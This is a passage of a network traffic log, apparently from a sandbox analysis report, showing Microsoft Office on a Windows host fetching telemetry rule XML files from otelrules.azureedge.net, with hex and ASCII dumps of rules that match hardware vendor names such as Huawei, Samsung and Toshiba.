2024-11-17 09:07:18 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:18 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-164f84587bffvwt9hC1DFW2ktw00000001qg00000000epm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:18 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 9c109920-501e-00a3-5d9b-38c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-16547b76f7ftfv4jhC1DFWuhug00000001ng00000000a2az x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:18 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:18 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 75c16ba8-801e-0067-10f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-164f84587bfmxxfphC1DFW3au800000002ng0000000012w9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:18 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090718Z-16547b76f7fbkfmzhC1DFWm9tw00000003r0000000006pdh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:19 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090719Z-1866b5c5fbbwlv6nhC1DFWw4bs00000002fg00000000aucr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:19 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:19 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:19 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 9666febd-501e-0035-5391-38c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090719Z-1866b5c5fbbpxkkxhC1DFWhvmc00000004eg000000001ka1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:19 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:19 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090719Z-16547b76f7fpdsp9hC1DFW8f5000000001p000000000857m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:19 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:19 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dd4d8867-801e-0083-7a9b-38f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090719Z-16547b76f7fm8pcwhC1DFWaxcc000000021g00000000kg9t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:19 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:19 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090719Z-1866b5c5fbb2t6txhC1DFWa2qc000000041g00000000av6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:20 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:19 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:19 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 754da625-801e-0067-47ce-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090719Z-164f84587bf28gjzhC1DFW35kg000000042g000000003s8q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:20 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:20 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:20 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090720Z-164f84587bf7k72dhC1DFWvczs000000045g000000001yn2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:20 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:20 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
